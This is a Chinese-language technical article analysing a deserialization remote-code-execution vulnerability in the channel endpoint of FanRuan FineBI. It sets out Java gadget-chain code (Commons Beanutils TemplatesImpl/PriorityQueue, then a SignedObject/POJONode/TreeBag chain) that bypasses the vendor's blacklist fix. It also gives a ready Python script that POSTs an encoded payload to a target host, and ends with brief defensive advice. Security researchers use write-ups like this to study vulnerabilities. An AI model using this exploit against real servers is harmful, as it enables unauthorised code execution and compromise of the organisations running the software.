帆软channel接口反序列化漏洞分析
字数 2078 2025-08-18 17:33:25
帆软Channel接口反序列化漏洞分析与利用技术文档
1. 漏洞概述
帆软报表系统(FineBi)的/webroot/decision/remote/design/channel接口存在反序列化漏洞,攻击者可通过精心构造的序列化数据实现远程代码执行。该漏洞影响FineBi 5.1.0及之前版本,5.1.18版本通过黑名单机制进行了修复,但仍可通过二次反序列化技术绕过。
2. 漏洞环境
- 受影响版本:FineBi 5.1.0
- 修复版本:FineBi 5.1.18(存在绕过可能)
- 漏洞接口:
/webroot/decision/remote/design/channel
3. 漏洞分析
3.1 漏洞调用链
- 请求到达
com.fr.decision.extension.report.api.remote.RemoteDesignResource类的onMessage方法 - 调用
WorkContext.handleMessage方法 - 调用
WorkspaceServerInvoker.handleMessage方法 - 调用
WorkspaceServerInvoker.deserializeInvocation方法 - 使用
SerializerHelper.deserialize对输入流进行反序列化 - 最终调用
InvocationSerializer.deserialize方法中的readObject
3.2 关键代码路径
// 入口点
com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage
→ com.fr.workspace.WorkContext.handleMessage
→ com.fr.workspace.engine.rpc.WorkspaceServerInvoker.handleMessage
→ com.fr.workspace.engine.rpc.WorkspaceServerInvoker.deserializeInvocation
→ com.fr.serialization.SerializerHelper.deserialize
→ com.fr.serialization.GZipSerializerWrapper.deserialize
→ com.fr.rpc.serialization.InvocationSerializer.deserialize
→ ObjectInputStream.readObject() // 反序列化触发点
3.3 序列化处理流程
- 输入流被包装为
GZIPInputStream对象 - 使用
GZipSerializerWrapper进行反序列化 - 最终调用
InvocationSerializer的deserialize方法执行反序列化
4. 利用技术
4.1 基本利用链(CB链)
FineBi集成了Commons Beanutils(CB)依赖,可使用CB链进行利用:
TemplatesImpl → BeanComparator → PriorityQueue
4.1.1 利用代码生成
// 创建恶意TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
// 设置_bytecodes字段(恶意类字节码)
byte[][] payloads = {generateEvilClass()};
bytecodes.set(templates, payloads);
// 创建BeanComparator
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// 设置property为"outputProperties"
property.set(beanComparator, "outputProperties");
// 创建PriorityQueue并设置queue数组
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add("a"); queue.add("b");
queue1.set(queue, new Object[]{templates,templates});
// GZIP压缩序列化数据
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gos = new GZIPOutputStream(baos);
gos.write(serializedData);
gos.finish();
4.1.2 注意事项
- 需要使用Commons Beanutils 1.8.3版本生成payload(1.9.2版本会导致
InvalidClassException) - 数据需要经过GZIP压缩
4.2 绕过黑名单的二次反序列化技术
FineBi 5.1.18通过黑名单机制修复了漏洞,但可通过二次反序列化绕过:
4.2.1 技术原理
利用SignedObject类进行二次反序列化:
SignedObject的getObject方法会对其内部存储的对象进行反序列化- 通过Jackson的
POJONode触发getObject调用 - 使用
TreeBag调用链最终触发POJONode.toString
4.2.2 完整调用链
TreeBag.readObject
→ TreeMap.put
→ TreeMap.compare
→ ClassComparator.compare
→ VersionComparator.compare
→ POJONode.toString
→ SignedObject.getObject
→ // 二次反序列化触发CB链
4.2.3 关键实现代码
// 1. 创建初始CB链
PriorityQueue queue = ...; // 同基本利用链
// 2. 封装为SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject dso = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));
// 3. 封装为POJONode
POJONode node = new POJONode(dso);
// 4. 创建TreeBag调用链
ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
TreeBag treeBag = new TreeBag(classComparator);
treeBag.add(-1);
// 5. 通过反射设置TreeBag的root.key为POJONode
Field map = treeBag.getClass().getSuperclass().getDeclaredField("map");
Map treeMap = (Map) map.get(treeBag);
Field root = treeMap.getClass().getDeclaredField("root");
Map.Entry mapEnter = (Map.Entry) root.get(treeMap);
Field key = mapEnter.getClass().getDeclaredField("key");
key.set(mapEnter, node);
4.2.4 绕过黑名单的关键点
- 使用
SignedObject绕过对直接反序列化类的检查 - 利用Jackson的序列化机制触发
getObject调用 - 通过
ClassComparator动态加载VersionComparator类(不在黑名单中)
4.3 实际利用脚本
import requests, base64
host = "http://target:port/"
payload = "H4sIAAAAAAAAAGWTT2sTQRjGn9lNkzRNaxtta70Jgm2FXcWDYMU/DQjBUKst9pBCmGyGuLKZXWdm261gD/0AnvwW9lIQFQ+CVw9614sXjx7EiyBW381G09pd2Jl5Zt73mfc3s7tfMaQVph/wDe7Exg+cZeWHyjdbd2IRi6cfzz//eW1nz4ZVQ077j0QdJS/sRlxxEyqDqXoa6aaRbvWfvpBEACxKfC5UHYdH3LsvHIrrhlI7LcFlGqCdReoNoj48YTv7S9+2LViHXB5iG6yOYqTCSCizZVDJXAMuO+6KUb7skCO5zffKSGUnk89UuRa1qYXUvvE3xMBs015/vL785b0FJJHBeBibKDbLmYUv9GaOKrAp52XaiKNj6RyoJOHk4fjSCCV54CQ6MJ5jFE+cVdGNAm6ErlE7vHb7rdx9dtFGvobRpi/bQpqluNsSqoaxJgVIHQhTIz1poNRsbRnhhW2hDexGY7GBfNMLuKZhpXGg4mqqLdQx1JS8K1I6uTommv9XcPhwBnp2OPhNT6x6Rrd+zUx2Op8u9VjQFCPdaizufp/+kS+ufu7LzHu3//oNTV/ADEM+lEHI2wUwhuuEyCVELiFyM0RuD5H7F5HbQ+SqWBq/K9wbLU3Fe2a1T6AAmzJe8aVvrjLYs3P3GHJVIkETZQwhX0IRwwwTAwh3s1QFjDCUOsL0xwyTs3P1I8sWyhjFWAllHKPMHg+8IiaoJxLhMZydPXqfDiYhdp4g5GUcx4k0ySR5roSx8sRNPyDPkQyGk4bgNCykl4eI0Uubp2+BRqdIZ9SOzb9E6RXGK5UXmFrb66+cTn8YnKSraHPOo02GJD3Z0eQPQVjlt6IDAAA="
data = base64.b64decode(payload)
res = requests.post(url=host+"/webroot/decision/remote/design/channel",
data=data,
verify=False)
print(res.text)
5. 修复与防御
5.1 官方修复方式(5.1.18版本)
- 使用
JDKSerializer.CustomObjectInputStream封装输入流 - 实现
resolveClass方法检查黑名单 - 黑名单位于
com.fr.serialization.blacklist.txt
5.2 黑名单内容
黑名单包含常见利用链相关类,如:
- Commons Beanutils相关类
- Commons Collections相关类
- JDK危险类(如
PriorityQueue) - 其他常见危险类(如
TemplatesImpl)
5.3 防御建议
- 升级到最新版本
- 实施输入验证和过滤
- 限制反序列化操作
- 使用白名单机制替代黑名单
6. 技术难点与解决方案
6.1 版本兼容性问题
问题:Commons Beanutils 1.9.2生成的payload不兼容
解决:使用1.8.3版本生成payload
6.2 提前触发问题
问题:直接添加POJONode会提前触发漏洞
解决:
- 先添加无害对象
- 通过反射修改
TreeBag内部数据
treeBag.add(-1); // 先添加无害对象
// 通过反射修改为恶意POJONode
Field map = treeBag.getClass().getSuperclass().getDeclaredField("map");
// ... 反射设置root.key
6.3 序列化异常问题
问题:BaseJsonNode的writeReplace方法导致序列化异常
解决:使用Javassist移除该方法
CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
7. 参考资源
8. 总结
帆软Channel接口反序列化漏洞展示了反序列化漏洞的典型利用方式及防御绕过技术。通过分析该漏洞,我们可以深入理解:
- Java反序列化漏洞的利用原理
- 黑名单机制的局限性
- 二次反序列化绕过技术
- 实际漏洞利用中的各种边界条件处理
该案例为研究Java反序列化安全提供了宝贵的学习材料,也强调了设计安全的反序列化机制的重要性。